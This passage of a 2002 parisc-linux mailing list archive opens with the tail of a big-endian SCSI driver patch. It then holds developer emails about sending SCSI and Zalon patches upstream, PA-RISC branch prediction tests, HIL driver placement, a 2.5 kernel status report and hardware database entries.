 #define	SCR_SEL_TBL	0x42000000
 #define	SCR_SEL_TBL_ATN	0x43000000
 
+
+#ifdef SCSI_NCR_BIG_ENDIAN
+struct scr_tblsel {
+        u_char  sel_scntl3;
+        u_char  sel_id;
+        u_char  sel_sxfer;
+        u_char  sel_scntl4;	
+};
+#else
 struct scr_tblsel {
         u_char  sel_scntl4;	
         u_char  sel_sxfer;
         u_char  sel_id;
         u_char  sel_scntl3;
 };
+#endif
 
 #define SCR_JMP_REL     0x04000000
 #define SCR_ID(id)	(((u_int32)(id)) << 16)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI patches
Date: Fri, 01 Nov 2002 09:07:22 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20021101160722.8AC994829@dsl2.external.hp.com>
References: <20021101131818.S27461@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621875 16118 80.91.229.3 (22 Nov 2014 02:04:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  1 09:07:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8AC994829; Fri,  1 Nov 2002 09:07:22 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Fri, 01 Nov 2002 13:18:18 GMT." <20021101131818.S27461@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16633

Matthew Wilcox wrote:
> In the continuing mission to send our patches upstream... here's the sum
> total of our SCSI patches.  As you can see there's not _much_ compared
> to what we used to have ... but some of it looks a little fishy (did
> MIPS really add support for PA-RISC?  ;-)

heh - that's obviously oversight.

> Anyway, I don't feel confident sending this upstream myself -- I don't
> understand most of the changes, and wouldn't feel happy defending them.
> Can I have a volunteer who does grok these scsi changes to send them
> upstream?

I can. Half of the changes are mine. I don't entirely grok ZALON related
changes but I trust whoever made them (Richard?) can clarify if needed.

Please let me know who I should send them to and when.

grant


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI patches
Date: Fri, 1 Nov 2002 16:58:35 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20021101165834.GG10649@sleepie.demon.co.uk>
References: <20021101131818.S27461@parcelfarce.linux.theplanet.co.uk> <20021101160722.8AC994829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621875 16377 80.91.229.3 (22 Nov 2014 02:04:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:35 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  1 10:00:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.bre.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 322744829
	for <parisc-linux@parisc-linux.org>; Fri,  1 Nov 2002 10:00:49 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 611869E7F2; Fri,  1 Nov 2002 16:58:35 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20021101160722.8AC994829@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16634

On Fri, Nov 01, 2002 at 09:07:22AM -0700, Grant Grundler wrote:
> Matthew Wilcox wrote:
> > MIPS really add support for PA-RISC?  ;-)

Guess that's my screwup.

> > Anyway, I don't feel confident sending this upstream myself -- I don't
> > understand most of the changes, and wouldn't feel happy defending them.
> > Can I have a volunteer who does grok these scsi changes to send them
> > upstream?
> 
> I can. Half of the changes are mine. I don't entirely grok ZALON related
> changes but I trust whoever made them (Richard?) can clarify if needed.
> 
> Please let me know who I should send them to and when.

I presume that with the exception of the #include removal from lasi700.c
this lot should go to Grard Roudier <groudier@club-internet.fr>.  So
far as the zalon bits are concerned, I first sent them to him in August
2000, and exchanged a few mails, and then chased on and off until Feb
2001.  Looks like I ran out of patience after that.  Anyway, from Feb
2001:

Richard wrote:
> No news on my 53c720 patch, I suppose?  

Grard wrote:
> Your NCR720 patch is not dead, but I apologize to you for the huge retard.
> Anyway, if|when sym-2 driver will be accepted, I will not kill ncr53c8xx
> immediately.
> ...
> The NCR720 patch is too large for ncr-3.4.3, but will fit some further
> ncr-3.4.x (x >3). ncr53c8xx can coexist with either sym-1 and sym-2.
> Btw, one can build a kernel that link sym-2 + ncr.

So I take that to mean he was happy with the code.

NOTE though, that not all the zalon changes are in the diff willy
posted; it doesn't include ncr53c8xx.c changes, at least.

Richard



From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI patches
Date: Fri, 1 Nov 2002 17:04:00 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20021101170400.A20749@parcelfarce.linux.theplanet.co.uk>
References: <20021101131818.S27461@parcelfarce.linux.theplanet.co.uk> <20021101160722.8AC994829@dsl2.external.hp.com> <20021101165834.GG10649@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621875 16378 80.91.229.3 (22 Nov 2014 02:04:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:35 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  1 10:04:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E7494482D
	for <parisc-linux@parisc-linux.org>; Fri,  1 Nov 2002 10:04:03 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 187fDE-0007Tf-00; Fri, 01 Nov 2002 17:04:00 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021101165834.GG10649@sleepie.demon.co.uk>; from rhirst@linuxcare.com on Fri, Nov 01, 2002 at 04:58:35PM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16635

On Fri, Nov 01, 2002 at 04:58:35PM +0000, Richard Hirst wrote:
> NOTE though, that not all the zalon changes are in the diff willy
> posted; it doesn't include ncr53c8xx.c changes, at least.

Yeah, I noticed that after I posted it .. hence my recent commit that
brings those changes forward from 2.4.  I'm not sure I got everything
right, so please check it over.  I don't have access to a Zalon card
right now.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SCSI patches
Date: Fri, 1 Nov 2002 17:48:22 +0000
Lines: 16
Approved: news@gmane.org
Message-ID: <20021101174822.GI10649@sleepie.demon.co.uk>
References: <20021101131818.S27461@parcelfarce.linux.theplanet.co.uk> <20021101160722.8AC994829@dsl2.external.hp.com> <20021101165834.GG10649@sleepie.demon.co.uk> <20021101170400.A20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621875 16382 80.91.229.3 (22 Nov 2014 02:04:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:35 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  1 10:50:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.bre.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5936C482A
	for <parisc-linux@parisc-linux.org>; Fri,  1 Nov 2002 10:50:35 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 9B9CB9E7F2; Fri,  1 Nov 2002 17:48:22 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20021101170400.A20749@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16636

On Fri, Nov 01, 2002 at 05:04:00PM +0000, Matthew Wilcox wrote:
> On Fri, Nov 01, 2002 at 04:58:35PM +0000, Richard Hirst wrote:
> > NOTE though, that not all the zalon changes are in the diff willy
> > posted; it doesn't include ncr53c8xx.c changes, at least.
> 
> Yeah, I noticed that after I posted it .. hence my recent commit that
> brings those changes forward from 2.4.  I'm not sure I got everything
> right, so please check it over.  I don't have access to a Zalon card
> right now.

Me neither, given the current state of my house ;(  Things are set to
improve over the next couple of weeks though.

Richard



From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Branch Prediction
Date: Fri, 1 Nov 2002 16:30:49 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200211012130.gA1LUof4014759@hiauly1.hia.nrc.ca>
References: <20021027012303.7B576484E@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621876 16386 80.91.229.3 (22 Nov 2014 02:04:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com (Grant Grundler)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Nov  1 14:47:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DAB2C4829
	for <parisc-linux@lists.parisc-linux.org>; Fri,  1 Nov 2002 14:47:36 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id gA1LUoSf014761;
	Fri, 1 Nov 2002 16:30:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id gA1LUof4014759;
	Fri, 1 Nov 2002 16:30:50 -0500 (EST)
In-Reply-To: <20021027012303.7B576484E@dsl2.external.hp.com> from "Grant Grundler" at Oct 26, 2002 07:23:03 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16637

> "John David Anglin" wrote:
> > I wonder if the PA-8700 in the rp2470 has it?
> 
> gsyprf11 is a 650Mhz PA8700. please try it.

I gave it a whirl.  As far as I can tell based on a small amount of testing,
there isn't any difference in performance using the branch target stack to
"accelerate" call returns.

So it may be that this feature like quad precision is not implemented.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Placement of hil drivers
Date: Sat, 2 Nov 2002 15:57:23 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20021102155723.I20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621876 16389 80.91.229.3 (22 Nov 2014 02:04:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  2 08:57:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 734154829
	for <parisc-linux@parisc-linux.org>; Sat,  2 Nov 2002 08:57:27 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 1880eJ-0002Jr-00
	for parisc-linux@parisc-linux.org; Sat, 02 Nov 2002 15:57:23 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16638

So it seems to me that all of drivers/hil (in the 2.5 tree) depends
on stuff in drivers/input.  Is there any reason it shouldn't be in
drivers/input/hil rather than drivers/hil?  Or is there an even better
place to put it?

I notice that we don't even have the option to select the HIL configure
options in 2.5 at the moment, which means nobody's testing on 715/Scorpio
and similar boxes.  This is a shame... my goal for 2.6 is to get to a 20k
diff vs Linus' tree.  Which reminds me, it's time for a 2.5 status report.
Coming right up..

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.5 status 2002-11-02
Date: Sat, 2 Nov 2002 16:14:06 +0000
Lines: 22
Approved: news@gmane.org
Message-ID: <20021102161406.J20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621876 16390 80.91.229.3 (22 Nov 2014 02:04:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  2 09:14:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D5FD4829
	for <parisc-linux@parisc-linux.org>; Sat,  2 Nov 2002 09:14:10 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 1880uU-0002UA-00
	for parisc-linux@parisc-linux.org; Sat, 02 Nov 2002 16:14:06 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16639

It's been a busy week.  Linus took 1.8MB of patches from us; the first
merge since 2.4.0-pre10.  Which means we went from:

-rw-r--r--    1 willy    willy     2779759 Oct 28 10:37 parisc-2.5.44.diff
-rw-r--r--    1 willy    willy     1052278 Nov  2 08:20 parisc-2.5.diff

which is a big improvement.  I've sent Linus another 600k of patches
(mostly moving drivers from arch/parisc/kernel to drivers/parisc).
The 2.5.45 merge is done (thanks, Paul!) which included lots of excitement
porting our Config.in patches to the new Kconfig.  Grant & Tausq did
some stellar debugging on our stability problems.  Still crashes on my
712, but Helge has it working on his C3000 (32-bit), and I think Grant
said it booted on his A500 (64-bit).  SMP now links but doesn't boot.
Helge's been cleaning up the STI drivers and is taking care of merging
this upstream.  Ryan's fixing Zalon SCSI support, and John fixed a
2-year-old bug, as well as some more recent ones.

Thanks to everyone who's helping.  It's great working with you.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ext3 /
Date: Sat, 2 Nov 2002 18:51:47 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20021102175147.GC21066@charite.de>
References: <20021027092756.D8B974862@dsl2.external.hp.com> <20021027093355.GD9302@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621877 16392 80.91.229.3 (22 Nov 2014 02:04:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:37 +0000 (UTC)
Cc: Stephan <stephan@itp.bg>, parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  2 10:51:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 287EF4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  2 Nov 2002 10:51:54 -0700 (MST)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 3DE0515C005; Sat,  2 Nov 2002 18:51:48 +0100 (CET)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 1A079633AD; Sat,  2 Nov 2002 18:51:47 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <20021027093355.GD9302@charite.de>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16640

Am 27.10.2002 um 10:33:55 +0100 schrieb Ralf Hildebrandt folgendes:

> > After I made dist-upgrade 1 week ago, my uname don't works, if I write uname
> > -a there is segmentation fault, any ideas?
> 
> I filed a bug report a few days ago. Check the Debian bug database.

The bug is supposed to be fixed by now, but the archives don't seem to
have the hppa version yet...

-- 
Ralf Hildebrandt (Im Auftrag des Referat V a)   Ralf.Hildebrandt@charite.de
Charite Campus Mitte                            Tel.  +49 (0)30-450 570-155
Referat V a - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
OpenVMS is today what Microsoft wants Windows NT v8.0 to be!



From - Thu Nov 08 21:25:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Anybody got a 74x workstation?
Date: Sun, 3 Nov 2002 01:44:48 +0000
Lines: 7
Approved: news@gmane.org
Message-ID: <20021103014448.P20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621877 16396 80.91.229.3 (22 Nov 2014 02:04:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:37 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Nov  2 18:44:55 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 720DF4829
	for <parisc-linux@parisc-linux.org>; Sat,  2 Nov 2002 18:44:55 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 1889om-00075B-00
	for parisc-linux@parisc-linux.org; Sun, 03 Nov 2002 01:44:48 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16641

I just noticed that we only have a 742 in the hardware database... anyone
got a 743, 744, 745, 747 or 748 workstation they could add?
http://hwdb.parisc-linux.org/add.php3?type=machine

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: WRBoyer123@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anybody got a 74x workstation?
